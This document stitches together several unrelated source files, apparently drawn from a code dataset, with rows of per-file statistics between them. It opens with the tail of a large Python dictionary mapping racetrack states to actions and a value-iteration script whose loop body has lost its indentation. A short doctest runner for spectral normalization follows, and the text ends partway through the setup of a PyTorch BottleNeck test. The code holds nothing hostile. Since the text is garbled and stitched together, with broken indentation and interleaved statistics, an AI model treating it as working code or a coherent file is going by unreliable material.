(0, 35, 0, 2): None,
(0, 35, 0, 3): None,
(0, 35, 0, 4): None,
(0, 35, 0, 5): None,
(0, 35, 1, -5): None,
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(0, 35, 1, 0): None,
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(0, 35, 1, 3): None,
(0, 35, 1, 4): None,
(0, 35, 1, 5): None,
(0, 35, 2, -5): None,
(0, 35, 2, -4): None,
(0, 35, 2, -3): None,
(0, 35, 2, -2): None,
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(0, 35, 2, 0): None,
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(0, 35, 2, 2): None,
(0, 35, 2, 3): None,
(0, 35, 2, 4): None,
(0, 35, 2, 5): None,
(0, 35, 3, -5): None,
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(0, 35, 3, 0): None,
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(0, 35, 3, 5): None,
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(0, 35, 4, 3): None,
(0, 35, 4, 4): None,
(0, 35, 4, 5): None,
(0, 35, 5, -5): None,
(0, 35, 5, -4): None,
(0, 35, 5, -3): None,
(0, 35, 5, -2): None,
(0, 35, 5, -1): None,
(0, 35, 5, 0): None,
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(0, 35, 5, 2): None,
(0, 35, 5, 3): None,
(0, 35, 5, 4): None,
(0, 35, 5, 5): None,
(1, 32, -5, -5): None,
(1, 32, -5, -4): None,
(1, 32, -5, -3): None,
(1, 32, -5, -2): None,
(1, 32, -5, -1): None,
(1, 32, -5, 0): None,
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(1, 32, -5, 2): None,
(1, 32, -5, 3): None,
(1, 32, -5, 4): None,
(1, 32, -5, 5): None,
(1, 32, -4, -5): None,
(1, 32, -4, -4): None,
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(1, 32, -4, -2): None,
(1, 32, -4, -1): None,
(1, 32, -4, 0): None,
(1, 32, -4, 1): None,
(1, 32, -4, 2): None,
(1, 32, -4, 3): None,
(1, 32, -4, 4): None,
(1, 32, -4, 5): None,
(1, 32, -3, -5): None,
(1, 32, -3, -4): None,
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(1, 32, -3, 5): None,
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(1, 32, -2, -3): None,
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(1, 32, -2, -1): None,
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(1, 32, -2, 1): None,
(1, 32, -2, 2): None,
(1, 32, -2, 3): None,
(1, 32, -2, 4): None,
(1, 32, -2, 5): None,
(1, 32, -1, -5): None,
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(1, 32, -1, -3): None,
(1, 32, -1, -2): None,
(1, 32, -1, -1): None,
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(1, 32, -1, 2): None,
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(1, 32, -1, 5): None,
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(1, 32, 0, -2): None,
(1, 32, 0, -1): None,
(1, 32, 0, 0): None,
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(1, 32, 0, 2): None,
(1, 32, 0, 3): None,
(1, 32, 0, 4): None,
(1, 32, 0, 5): None,
(1, 32, 1, -5): None,
(1, 32, 1, -4): None,
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(1, 32, 1, -1): None,
(1, 32, 1, 0): None,
(1, 32, 1, 1): None,
(1, 32, 1, 2): None,
(1, 32, 1, 3): None,
(1, 32, 1, 4): None,
(1, 32, 1, 5): None,
(1, 32, 2, -5): None,
(1, 32, 2, -4): None,
(1, 32, 2, -3): None,
(1, 32, 2, -2): None,
(1, 32, 2, -1): None,
(1, 32, 2, 0): None,
(1, 32, 2, 1): None,
(1, 32, 2, 2): None,
(1, 32, 2, 3): None,
(1, 32, 2, 4): None,
(1, 32, 2, 5): None,
(1, 32, 3, -5): None,
(1, 32, 3, -4): None,
(1, 32, 3, -3): None,
(1, 32, 3, -2): None,
(1, 32, 3, -1): None,
(1, 32, 3, 0): None,
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(1, 32, 3, 2): None,
(1, 32, 3, 3): None,
(1, 32, 3, 4): None,
(1, 32, 3, 5): None,
(1, 32, 4, -5): None,
(1, 32, 4, -4): None,
(1, 32, 4, -3): None,
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(1, 32, 4, -1): None,
(1, 32, 4, 0): None,
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(1, 32, 4, 2): None,
(1, 32, 4, 3): None,
(1, 32, 4, 4): None,
(1, 32, 4, 5): None,
(1, 32, 5, -5): None,
(1, 32, 5, -4): None,
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(1, 32, 5, 0): None,
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(1, 32, 5, 4): None,
(1, 32, 5, 5): None,
(1, 33, -5, -5): None,
(1, 33, -5, -4): None,
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(1, 33, -5, 1): None,
(1, 33, -5, 2): None,
(1, 33, -5, 3): None,
(1, 33, -5, 4): None,
(1, 33, -5, 5): None,
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(1, 33, -4, 0): None,
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(1, 33, -4, 2): None,
(1, 33, -4, 3): None,
(1, 33, -4, 4): None,
(1, 33, -4, 5): None,
(1, 33, -3, -5): None,
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(1, 33, -2, 0): None,
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(1, 33, -2, 2): None,
(1, 33, -2, 3): None,
(1, 33, -2, 4): None,
(1, 33, -2, 5): None,
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(1, 33, -1, 1): None,
(1, 33, -1, 2): None,
(1, 33, -1, 3): None,
(1, 33, -1, 4): None,
(1, 33, -1, 5): None,
(1, 33, 0, -5): None,
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(1, 33, 0, -3): None,
(1, 33, 0, -2): None,
(1, 33, 0, -1): None,
(1, 33, 0, 0): None,
(1, 33, 0, 1): None,
(1, 33, 0, 2): None,
(1, 33, 0, 3): None,
(1, 33, 0, 4): None,
(1, 33, 0, 5): None,
(1, 33, 1, -5): None,
(1, 33, 1, -4): None,
(1, 33, 1, -3): None,
(1, 33, 1, -2): None,
(1, 33, 1, -1): None,
(1, 33, 1, 0): None,
(1, 33, 1, 1): None,
(1, 33, 1, 2): None,
(1, 33, 1, 3): None,
(1, 33, 1, 4): None,
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(1, 33, 2, -5): None,
(1, 33, 2, -4): None,
(1, 33, 2, -3): None,
(1, 33, 2, -2): None,
(1, 33, 2, -1): None,
(1, 33, 2, 0): None,
(1, 33, 2, 1): None,
(1, 33, 2, 2): None,
(1, 33, 2, 3): None,
(1, 33, 2, 4): None,
(1, 33, 2, 5): None,
(1, 33, 3, -5): None,
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(1, 33, 3, -3): None,
(1, 33, 3, -2): None,
(1, 33, 3, -1): None,
(1, 33, 3, 0): None,
(1, 33, 3, 1): None,
(1, 33, 3, 2): None,
(1, 33, 3, 3): None,
(1, 33, 3, 4): None,
(1, 33, 3, 5): None,
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(1, 33, 5, -3): None,
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(1, 33, 5, -1): None,
(1, 33, 5, 0): None,
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(1, 33, 5, 2): None,
(1, 33, 5, 3): None,
(1, 33, 5, 4): None,
(1, 33, 5, 5): None,
(1, 34, -5, -5): None,
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(1, 34, -5, -2): None,
(1, 34, -5, -1): None,
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(1, 34, -5, 2): None,
(1, 34, -5, 3): None,
(1, 34, -5, 4): None,
(1, 34, -5, 5): None,
(1, 34, -4, -5): None,
(1, 34, -4, -4): None,
(1, 34, -4, -3): None,
(1, 34, -4, -2): None,
(1, 34, -4, -1): None,
(1, 34, -4, 0): None,
(1, 34, -4, 1): None,
(1, 34, -4, 2): None,
(1, 34, -4, 3): None,
(1, 34, -4, 4): None,
(1, 34, -4, 5): None,
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(1, 34, -3, -4): None,
(1, 34, -3, -3): None,
(1, 34, -3, -2): None,
(1, 34, -3, -1): None,
(1, 34, -3, 0): None,
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(1, 34, -3, 2): None,
(1, 34, -3, 3): None,
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(1, 34, -2, -3): None,
(1, 34, -2, -2): None,
(1, 34, -2, -1): None,
(1, 34, -2, 0): None,
(1, 34, -2, 1): None,
(1, 34, -2, 2): None,
(1, 34, -2, 3): None,
(1, 34, -2, 4): None,
(1, 34, -2, 5): None,
(1, 34, -1, -5): None,
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(1, 34, -1, -3): None,
(1, 34, -1, -2): None,
(1, 34, -1, -1): None,
(1, 34, -1, 0): None,
(1, 34, -1, 1): None,
(1, 34, -1, 2): None,
(1, 34, -1, 3): None,
(1, 34, -1, 4): None,
(1, 34, -1, 5): None,
(1, 34, 0, -5): None,
(1, 34, 0, -4): None,
(1, 34, 0, -3): None,
(1, 34, 0, -2): None,
(1, 34, 0, -1): None,
(1, 34, 0, 0): None,
(1, 34, 0, 1): None,
(1, 34, 0, 2): None,
(1, 34, 0, 3): None,
(1, 34, 0, 4): None,
(1, 34, 0, 5): None,
(1, 34, 1, -5): None,
(1, 34, 1, -4): None,
(1, 34, 1, -3): None,
(1, 34, 1, -2): None,
(1, 34, 1, -1): None,
(1, 34, 1, 0): None,
(1, 34, 1, 1): None,
(1, 34, 1, 2): None,
(1, 34, 1, 3): None,
(1, 34, 1, 4): None,
(1, 34, 1, 5): None,
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(1, 34, 2, -3): None,
(1, 34, 2, -2): None,
(1, 34, 2, -1): None,
(1, 34, 2, 0): None,
(1, 34, 2, 1): None,
(1, 34, 2, 2): None,
(1, 34, 2, 3): None,
(1, 34, 2, 4): None,
(1, 34, 2, 5): None,
(1, 34, 3, -5): None,
(1, 34, 3, -4): None,
(1, 34, 3, -3): None,
(1, 34, 3, -2): None,
(1, 34, 3, -1): None,
(1, 34, 3, 0): None,
(1, 34, 3, 1): None,
(1, 34, 3, 2): None,
(1, 34, 3, 3): None,
(1, 34, 3, 4): None,
(1, 34, 3, 5): None,
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(1, 34, 4, -4): None,
(1, 34, 4, -3): None,
(1, 34, 4, -2): None,
(1, 34, 4, -1): None,
(1, 34, 4, 0): None,
(1, 34, 4, 1): None,
(1, 34, 4, 2): None,
(1, 34, 4, 3): None,
(1, 34, 4, 4): None,
(1, 34, 4, 5): None,
(1, 34, 5, -5): None,
(1, 34, 5, -4): None,
(1, 34, 5, -3): None,
(1, 34, 5, -2): None,
(1, 34, 5, -1): None,
(1, 34, 5, 0): None,
(1, 34, 5, 1): None,
(1, 34, 5, 2): None,
(1, 34, 5, 3): None,
(1, 34, 5, 4): None,
(1, 34, 5, 5): None,
(1, 35, -5, -5): None,
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(1, 35, -5, -1): None,
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(1, 35, -5, 1): None,
(1, 35, -5, 2): None,
(1, 35, -5, 3): None,
(1, 35, -5, 4): None,
(1, 35, -5, 5): None,
(1, 35, -4, -5): None,
(1, 35, -4, -4): None,
(1, 35, -4, -3): None,
(1, 35, -4, -2): None,
(1, 35, -4, -1): None,
(1, 35, -4, 0): None,
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(1, 35, -4, 2): None,
(1, 35, -4, 3): None,
(1, 35, -4, 4): None,
(1, 35, -4, 5): None,
(1, 35, -3, -5): None,
(1, 35, -3, -4): None,
(1, 35, -3, -3): None,
(1, 35, -3, -2): None,
(1, 35, -3, -1): None,
(1, 35, -3, 0): None,
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(1, 35, -3, 2): None,
(1, 35, -3, 3): None,
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(1, 35, -2, -2): None,
(1, 35, -2, -1): None,
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(1, 35, -2, 1): None,
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(1, 35, -2, 3): None,
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(1, 35, -1, -5): None,
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(1, 35, -1, -2): None,
(1, 35, -1, -1): None,
(1, 35, -1, 0): None,
(1, 35, -1, 1): None,
(1, 35, -1, 2): None,
(1, 35, -1, 3): None,
(1, 35, -1, 4): None,
(1, 35, -1, 5): None,
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(1, 35, 0, -3): None,
(1, 35, 0, -2): None,
(1, 35, 0, -1): None,
(1, 35, 0, 0): None,
(1, 35, 0, 1): None,
(1, 35, 0, 2): None,
(1, 35, 0, 3): None,
(1, 35, 0, 4): None,
(1, 35, 0, 5): None,
(1, 35, 1, -5): None,
(1, 35, 1, -4): None,
(1, 35, 1, -3): None,
(1, 35, 1, -2): None,
(1, 35, 1, -1): None,
(1, 35, 1, 0): None,
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(1, 35, 1, 2): None,
(1, 35, 1, 3): None,
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(1, 35, 1, 5): None,
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(1, 35, 2, -2): None,
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(1, 35, 2, 0): None,
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(1, 35, 2, 2): None,
(1, 35, 2, 3): None,
(1, 35, 2, 4): None,
(1, 35, 2, 5): None,
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(1, 35, 3, -3): None,
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(1, 35, 3, 0): None,
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(1, 35, 3, 3): None,
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(1, 35, 3, 5): None,
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(1, 35, 4, -3): None,
(1, 35, 4, -2): None,
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(1, 35, 4, 2): None,
(1, 35, 4, 3): None,
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(1, 35, 5, -1): None,
(1, 35, 5, 0): None,
(1, 35, 5, 1): None,
(1, 35, 5, 2): None,
(1, 35, 5, 3): None,
(1, 35, 5, 4): None,
(1, 35, 5, 5): None,
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(2, 33, 5, 2): (-1, 1),
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(2, 33, 5, 4): (-1, 1),
(2, 33, 5, 5): (-1, 1),
(2, 34, -5, -5): (0, 1),
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(9, 32, 5, -4): (0, 1),
(9, 32, 5, -3): (0, 0),
(9, 32, 5, -2): (-1, -1),
(9, 32, 5, -1): (0, 1),
(9, 32, 5, 0): (0, 1),
(9, 32, 5, 1): (0, 1),
(9, 32, 5, 2): (0, 1),
(9, 32, 5, 3): (0, 1),
(9, 32, 5, 4): (0, 1),
(9, 32, 5, 5): (0, 1),
(9, 33, -5, -5): (0, 1),
(9, 33, -5, -4): (0, 1),
(9, 33, -5, -3): (0, 1),
(9, 33, -5, -2): (0, 1),
(9, 33, -5, -1): (0, 1),
(9, 33, -5, 0): (0, 1),
(9, 33, -5, 1): (0, 0),
(9, 33, -5, 2): (-1, -1),
(9, 33, -5, 3): (-1, -1),
(9, 33, -5, 4): (0, 1),
(9, 33, -5, 5): (0, 1),
(9, 33, -4, -5): (0, 1),
(9, 33, -4, -4): (0, 1),
(9, 33, -4, -3): (-1, 1),
(9, 33, -4, -2): (0, 1),
(9, 33, -4, -1): (0, 1),
(9, 33, -4, 0): (0, 1),
(9, 33, -4, 1): (0, 0),
(9, 33, -4, 2): (-1, -1),
(9, 33, -4, 3): (-1, -1),
(9, 33, -4, 4): (-1, 1),
(9, 33, -4, 5): (-1, 1),
(9, 33, -3, -5): (-1, 1),
(9, 33, -3, -4): (-1, 1),
(9, 33, -3, -3): (0, 1),
(9, 33, -3, -2): (-1, 1),
(9, 33, -3, -1): (-1, 1),
(9, 33, -3, 0): (-1, 1),
(9, 33, -3, 1): (-1, 0),
(9, 33, -3, 2): (-1, -1),
(9, 33, -3, 3): (-1, -1),
(9, 33, -3, 4): (-1, 1),
(9, 33, -3, 5): (-1, 1),
(9, 33, -2, -5): (0, 1),
(9, 33, -2, -4): (0, 1),
(9, 33, -2, -3): (-1, 1),
(9, 33, -2, -2): (-1, 1),
(9, 33, -2, -1): (-1, 1),
(9, 33, -2, 0): (-1, 0),
(9, 33, -2, 1): (-1, -1),
(9, 33, -2, 2): (-1, -1),
(9, 33, -2, 3): (-1, -1),
(9, 33, -2, 4): (-1, 1),
(9, 33, -2, 5): (-1, 1),
(9, 33, -1, -5): (1, 1),
(9, 33, -1, -4): (1, 1),
(9, 33, -1, -3): (0, 1),
(9, 33, -1, -2): (-1, 1),
(9, 33, -1, -1): (-1, 1),
(9, 33, -1, 0): (-1, 0),
(9, 33, -1, 1): (-1, -1),
(9, 33, -1, 2): (-1, -1),
(9, 33, -1, 3): (-1, -1),
(9, 33, -1, 4): (-1, 1),
(9, 33, -1, 5): (-1, 1),
(9, 33, 0, -5): (1, 1),
(9, 33, 0, -4): (1, 0),
(9, 33, 0, -3): (1, -1),
(9, 33, 0, -2): (-1, 1),
(9, 33, 0, -1): (-1, 1),
(9, 33, 0, 0): (-1, 0),
(9, 33, 0, 1): (-1, -1),
(9, 33, 0, 2): (-1, -1),
(9, 33, 0, 3): (-1, 1),
(9, 33, 0, 4): (-1, 1),
(9, 33, 0, 5): (-1, 1),
(9, 33, 1, -5): (0, 1),
(9, 33, 1, -4): (0, 0),
(9, 33, 1, -3): (0, -1),
(9, 33, 1, -2): (0, 1),
(9, 33, 1, -1): (0, 1),
(9, 33, 1, 0): (0, 1),
(9, 33, 1, 1): (0, 1),
(9, 33, 1, 2): (0, 1),
(9, 33, 1, 3): (0, 1),
(9, 33, 1, 4): (0, 1),
(9, 33, 1, 5): (0, 1),
(9, 33, 2, -5): (0, 1),
(9, 33, 2, -4): (0, 0),
(9, 33, 2, -3): (-1, -1),
(9, 33, 2, -2): (0, 1),
(9, 33, 2, -1): (0, 1),
(9, 33, 2, 0): (0, 1),
(9, 33, 2, 1): (0, 1),
(9, 33, 2, 2): (0, 1),
(9, 33, 2, 3): (0, 1),
(9, 33, 2, 4): (0, 1),
(9, 33, 2, 5): (0, 1),
(9, 33, 3, -5): (0, 1),
(9, 33, 3, -4): (0, 0),
(9, 33, 3, -3): (-1, -1),
(9, 33, 3, -2): (0, 1),
(9, 33, 3, -1): (0, 1),
(9, 33, 3, 0): (0, 1),
(9, 33, 3, 1): (0, 1),
(9, 33, 3, 2): (0, 1),
(9, 33, 3, 3): (0, 1),
(9, 33, 3, 4): (0, 1),
(9, 33, 3, 5): (0, 1),
(9, 33, 4, -5): (0, 1),
(9, 33, 4, -4): (0, 0),
(9, 33, 4, -3): (-1, -1),
(9, 33, 4, -2): (0, 1),
(9, 33, 4, -1): (0, 1),
(9, 33, 4, 0): (0, 1),
(9, 33, 4, 1): (0, 1),
(9, 33, 4, 2): (0, 1),
(9, 33, 4, 3): (0, 1),
(9, 33, 4, 4): (0, 1),
(9, 33, 4, 5): (0, 1),
(9, 33, 5, -5): (0, 1),
(9, 33, 5, -4): (0, 0),
(9, 33, 5, -3): (-1, -1),
(9, 33, 5, -2): (0, 1),
(9, 33, 5, -1): (0, 1),
(9, 33, 5, 0): (0, 1),
(9, 33, 5, 1): (0, 1),
(9, 33, 5, 2): (0, 1),
(9, 33, 5, 3): (0, 1),
(9, 33, 5, 4): (0, 1),
(9, 33, 5, 5): (0, 1),
(9, 34, -5, -5): (0, 1),
(9, 34, -5, -4): (0, 1),
(9, 34, -5, -3): (0, 1),
(9, 34, -5, -2): (0, 1),
(9, 34, -5, -1): (0, 1),
(9, 34, -5, 0): (0, 0),
(9, 34, -5, 1): (-1, -1),
(9, 34, -5, 2): (-1, -1),
(9, 34, -5, 3): (0, 1),
(9, 34, -5, 4): (0, 1),
(9, 34, -5, 5): (0, 1),
(9, 34, -4, -5): (0, 1),
(9, 34, -4, -4): (-1, 1),
(9, 34, -4, -3): (-1, 1),
(9, 34, -4, -2): (0, 1),
(9, 34, -4, -1): (0, 1),
(9, 34, -4, 0): (0, 0),
(9, 34, -4, 1): (-1, -1),
(9, 34, -4, 2): (-1, -1),
(9, 34, -4, 3): (-1, 1),
(9, 34, -4, 4): (-1, 1),
(9, 34, -4, 5): (-1, 1),
(9, 34, -3, -5): (-1, 1),
(9, 34, -3, -4): (0, 1),
(9, 34, -3, -3): (0, 1),
(9, 34, -3, -2): (-1, 1),
(9, 34, -3, -1): (-1, 1),
(9, 34, -3, 0): (-1, 0),
(9, 34, -3, 1): (-1, -1),
(9, 34, -3, 2): (-1, -1),
(9, 34, -3, 3): (-1, 1),
(9, 34, -3, 4): (-1, 1),
(9, 34, -3, 5): (-1, 1),
(9, 34, -2, -5): (0, 1),
(9, 34, -2, -4): (-1, 1),
(9, 34, -2, -3): (-1, 1),
(9, 34, -2, -2): (-1, 1),
(9, 34, -2, -1): (-1, 1),
(9, 34, -2, 0): (-1, 0),
(9, 34, -2, 1): (-1, -1),
(9, 34, -2, 2): (-1, -1),
(9, 34, -2, 3): (-1, 1),
(9, 34, -2, 4): (-1, 1),
(9, 34, -2, 5): (-1, 1),
(9, 34, -1, -5): (1, 1),
(9, 34, -1, -4): (1, 1),
(9, 34, -1, -3): (-1, 1),
(9, 34, -1, -2): (-1, 1),
(9, 34, -1, -1): (-1, 1),
(9, 34, -1, 0): (-1, 0),
(9, 34, -1, 1): (-1, -1),
(9, 34, -1, 2): (-1, -1),
(9, 34, -1, 3): (-1, 1),
(9, 34, -1, 4): (-1, 1),
(9, 34, -1, 5): (-1, 1),
(9, 34, 0, -5): (1, 0),
(9, 34, 0, -4): (1, -1),
(9, 34, 0, -3): (1, 1),
(9, 34, 0, -2): (-1, 1),
(9, 34, 0, -1): (-1, 1),
(9, 34, 0, 0): (-1, 0),
(9, 34, 0, 1): (-1, -1),
(9, 34, 0, 2): (-1, -1),
(9, 34, 0, 3): (-1, 1),
(9, 34, 0, 4): (-1, 1),
(9, 34, 0, 5): (-1, 1),
(9, 34, 1, -5): (0, 0),
(9, 34, 1, -4): (0, -1),
(9, 34, 1, -3): (0, 1),
(9, 34, 1, -2): (0, 1),
(9, 34, 1, -1): (0, 1),
(9, 34, 1, 0): (0, 1),
(9, 34, 1, 1): (0, 1),
(9, 34, 1, 2): (0, 1),
(9, 34, 1, 3): (0, 1),
(9, 34, 1, 4): (0, 1),
(9, 34, 1, 5): (0, 1),
(9, 34, 2, -5): (0, 0),
(9, 34, 2, -4): (-1, -1),
(9, 34, 2, -3): (0, 1),
(9, 34, 2, -2): (0, 1),
(9, 34, 2, -1): (0, 1),
(9, 34, 2, 0): (0, 1),
(9, 34, 2, 1): (0, 1),
(9, 34, 2, 2): (0, 1),
(9, 34, 2, 3): (0, 1),
(9, 34, 2, 4): (0, 1),
(9, 34, 2, 5): (0, 1),
(9, 34, 3, -5): (0, 0),
(9, 34, 3, -4): (-1, -1),
(9, 34, 3, -3): (0, 1),
(9, 34, 3, -2): (0, 1),
(9, 34, 3, -1): (0, 1),
(9, 34, 3, 0): (0, 1),
(9, 34, 3, 1): (0, 1),
(9, 34, 3, 2): (0, 1),
(9, 34, 3, 3): (0, 1),
(9, 34, 3, 4): (0, 1),
(9, 34, 3, 5): (0, 1),
(9, 34, 4, -5): (0, 0),
(9, 34, 4, -4): (-1, -1),
(9, 34, 4, -3): (0, 1),
(9, 34, 4, -2): (0, 1),
(9, 34, 4, -1): (0, 1),
(9, 34, 4, 0): (0, 1),
(9, 34, 4, 1): (0, 1),
(9, 34, 4, 2): (0, 1),
(9, 34, 4, 3): (0, 1),
(9, 34, 4, 4): (0, 1),
(9, 34, 4, 5): (0, 1),
(9, 34, 5, -5): (0, 0),
(9, 34, 5, -4): (-1, -1),
(9, 34, 5, -3): (0, 1),
(9, 34, 5, -2): (0, 1),
(9, 34, 5, -1): (0, 1),
(9, 34, 5, 0): (0, 1),
(9, 34, 5, 1): (0, 1),
(9, 34, 5, 2): (0, 1),
(9, 34, 5, 3): (0, 1),
(9, 34, 5, 4): (0, 1),
(9, 34, 5, 5): (0, 1),
(9, 35, -5, -5): (0, 1),
(9, 35, -5, -4): (0, 1),
(9, 35, -5, -3): (0, 1),
(9, 35, -5, -2): (0, 1),
(9, 35, -5, -1): (0, 1),
(9, 35, -5, 0): (0, 0),
(9, 35, -5, 1): (-1, -1),
(9, 35, -5, 2): (0, 1),
(9, 35, -5, 3): (0, 1),
(9, 35, -5, 4): (0, 1),
(9, 35, -5, 5): (0, 1),
(9, 35, -4, -5): (-1, 1),
(9, 35, -4, -4): (-1, 1),
(9, 35, -4, -3): (0, 1),
(9, 35, -4, -2): (0, 1),
(9, 35, -4, -1): (0, 1),
(9, 35, -4, 0): (0, 0),
(9, 35, -4, 1): (-1, -1),
(9, 35, -4, 2): (-1, 1),
(9, 35, -4, 3): (-1, 1),
(9, 35, -4, 4): (-1, 1),
(9, 35, -4, 5): (-1, 1),
(9, 35, -3, -5): (-1, 1),
(9, 35, -3, -4): (-1, 1),
(9, 35, -3, -3): (-1, 1),
(9, 35, -3, -2): (-1, 1),
(9, 35, -3, -1): (-1, 1),
(9, 35, -3, 0): (-1, 0),
(9, 35, -3, 1): (-1, -1),
(9, 35, -3, 2): (-1, 1),
(9, 35, -3, 3): (-1, 1),
(9, 35, -3, 4): (-1, 1),
(9, 35, -3, 5): (-1, 1),
(9, 35, -2, -5): (0, 1),
(9, 35, -2, -4): (-1, 1),
(9, 35, -2, -3): (-1, 1),
(9, 35, -2, -2): (-1, 1),
(9, 35, -2, -1): (-1, 1),
(9, 35, -2, 0): (-1, 0),
(9, 35, -2, 1): (-1, -1),
(9, 35, -2, 2): (-1, 1),
(9, 35, -2, 3): (-1, 1),
(9, 35, -2, 4): (-1, 1),
(9, 35, -2, 5): (-1, 1),
(9, 35, -1, -5): (1, 1),
(9, 35, -1, -4): (-1, 1),
(9, 35, -1, -3): (-1, 1),
(9, 35, -1, -2): (-1, 1),
(9, 35, -1, -1): (-1, 1),
(9, 35, -1, 0): (-1, 0),
(9, 35, -1, 1): (-1, -1),
(9, 35, -1, 2): (-1, 1),
(9, 35, -1, 3): (-1, 1),
(9, 35, -1, 4): (-1, 1),
(9, 35, -1, 5): (-1, 1),
(9, 35, 0, -5): (1, 0),
(9, 35, 0, -4): (1, 1),
(9, 35, 0, -3): (-1, 1),
(9, 35, 0, -2): (-1, 1),
(9, 35, 0, -1): (-1, 1),
(9, 35, 0, 0): (-1, 0),
(9, 35, 0, 1): (-1, -1),
(9, 35, 0, 2): (-1, 1),
(9, 35, 0, 3): (-1, 1),
(9, 35, 0, 4): (-1, 1),
(9, 35, 0, 5): (-1, 1),
(9, 35, 1, -5): (0, 0),
(9, 35, 1, -4): (0, 1),
(9, 35, 1, -3): (0, 1),
(9, 35, 1, -2): (0, 1),
(9, 35, 1, -1): (0, 1),
(9, 35, 1, 0): (0, 1),
(9, 35, 1, 1): (0, 1),
(9, 35, 1, 2): (0, 1),
(9, 35, 1, 3): (0, 1),
(9, 35, 1, 4): (0, 1),
(9, 35, 1, 5): (0, 1),
(9, 35, 2, -5): (0, 0),
(9, 35, 2, -4): (0, 1),
(9, 35, 2, -3): (0, 1),
(9, 35, 2, -2): (0, 1),
(9, 35, 2, -1): (0, 1),
(9, 35, 2, 0): (0, 1),
(9, 35, 2, 1): (0, 1),
(9, 35, 2, 2): (0, 1),
(9, 35, 2, 3): (0, 1),
(9, 35, 2, 4): (0, 1),
(9, 35, 2, 5): (0, 1),
(9, 35, 3, -5): (0, 0),
(9, 35, 3, -4): (0, 1),
(9, 35, 3, -3): (0, 1),
(9, 35, 3, -2): (0, 1),
(9, 35, 3, -1): (0, 1),
(9, 35, 3, 0): (0, 1),
(9, 35, 3, 1): (0, 1),
(9, 35, 3, 2): (0, 1),
(9, 35, 3, 3): (0, 1),
(9, 35, 3, 4): (0, 1),
(9, 35, 3, 5): (0, 1),
(9, 35, 4, -5): (0, 0),
(9, 35, 4, -4): (0, 1),
(9, 35, 4, -3): (0, 1),
(9, 35, 4, -2): (0, 1),
(9, 35, 4, -1): (0, 1),
(9, 35, 4, 0): (0, 1),
(9, 35, 4, 1): (0, 1),
(9, 35, 4, 2): (0, 1),
(9, 35, 4, 3): (0, 1),
(9, 35, 4, 4): (0, 1),
(9, 35, 4, 5): (0, 1),
(9, 35, 5, -5): (0, 0),
(9, 35, 5, -4): (0, 1),
(9, 35, 5, -3): (0, 1),
(9, 35, 5, -2): (0, 1),
(9, 35, 5, -1): (0, 1),
(9, 35, 5, 0): (0, 1),
(9, 35, 5, 1): (0, 1),
(9, 35, 5, 2): (0, 1),
(9, 35, 5, 3): (0, 1),
(9, 35, 5, 4): (0, 1),
(9, 35, 5, 5): (0, 1)}
game = Game('tracks/L-track.txt', success_chance=.8)
vi = ValueIteration(game)
# num_steps_taken = vi.execute_policy(x)
# print(num_steps_taken)
avg_num_steps = 0
for itter in range(100):
num_steps = vi.execute_policy(x)
avg_num_steps += num_steps
avg_num_steps /= 100.0
print(avg_num_steps)
| 24.880008
| 52
| 0.276726
| 118,163
| 494,316
| 1.157494
| 0.00055
| 0.16648
| 0.055779
| 0.016465
| 0.997748
| 0.910838
| 0.888823
| 0.871634
| 0.862509
| 0.820542
| 0
| 0.372237
| 0.27918
| 494,316
| 19,867
| 53
| 24.88126
| 0.011619
| 0.00018
| 0
| 0
| 0
| 0
| 0.000036
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.000101
| 0
| 0.000101
| 0.00005
| 0
| 0
| 1
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
75375a6b5384a95f883762b6f1a0d5aeff004466
| 180
|
py
|
Python
|
external/fv3fit/tests/keras/test_doctest.py
|
ai2cm/fv3net
|
e62038aee0a97d6207e66baabd8938467838cf51
|
[
"MIT"
] | 1
|
2021-12-14T23:43:35.000Z
|
2021-12-14T23:43:35.000Z
|
external/fv3fit/tests/keras/test_doctest.py
|
ai2cm/fv3net
|
e62038aee0a97d6207e66baabd8938467838cf51
|
[
"MIT"
] | 195
|
2021-09-16T05:47:18.000Z
|
2022-03-31T22:03:15.000Z
|
external/fv3fit/tests/keras/test_doctest.py
|
ai2cm/fv3net
|
e62038aee0a97d6207e66baabd8938467838cf51
|
[
"MIT"
] | null | null | null |
import doctest
from fv3fit.keras._models.shared import spectral_normalization
def test_spectral_normalization():
doctest.testmod(spectral_normalization, raise_on_error=True)
| 25.714286
| 64
| 0.85
| 22
| 180
| 6.636364
| 0.727273
| 0.431507
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.006098
| 0.088889
| 180
| 6
| 65
| 30
| 0.884146
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| true
| 0
| 0.5
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
754e1621bf34fb30741b36ffe91d925f721c193f
| 5,258
|
py
|
Python
|
test_grad/test2_53_BottleNeck_grad_2pytorch.py
|
jie311/miemiedetection
|
b0e7a45717fe6c9cf9bf3c0f47d47a2e6c68b1b6
|
[
"Apache-2.0"
] | 65
|
2021-12-30T03:30:52.000Z
|
2022-03-25T01:44:32.000Z
|
test_grad/test2_53_BottleNeck_grad_2pytorch.py
|
jie311/miemiedetection
|
b0e7a45717fe6c9cf9bf3c0f47d47a2e6c68b1b6
|
[
"Apache-2.0"
] | 1
|
2021-12-31T01:51:35.000Z
|
2022-01-01T14:42:37.000Z
|
test_grad/test2_53_BottleNeck_grad_2pytorch.py
|
jie311/miemiedetection
|
b0e7a45717fe6c9cf9bf3c0f47d47a2e6c68b1b6
|
[
"Apache-2.0"
] | 7
|
2021-12-31T09:25:06.000Z
|
2022-03-10T01:25:09.000Z
|
import pickle
import six
import torch
from mmdet.models import BottleNeck
ch_in = 64
ch_out = 64
stride = 1
shortcut = False
variant = 'd'
groups = 1
base_width = 64
lr = 1.0
norm_type = 'bn'
norm_decay = 0.0
freeze_norm = False
dcn_v2 = False
std_senet = False
ch_in = 256
ch_out = 64
stride = 1
shortcut = True
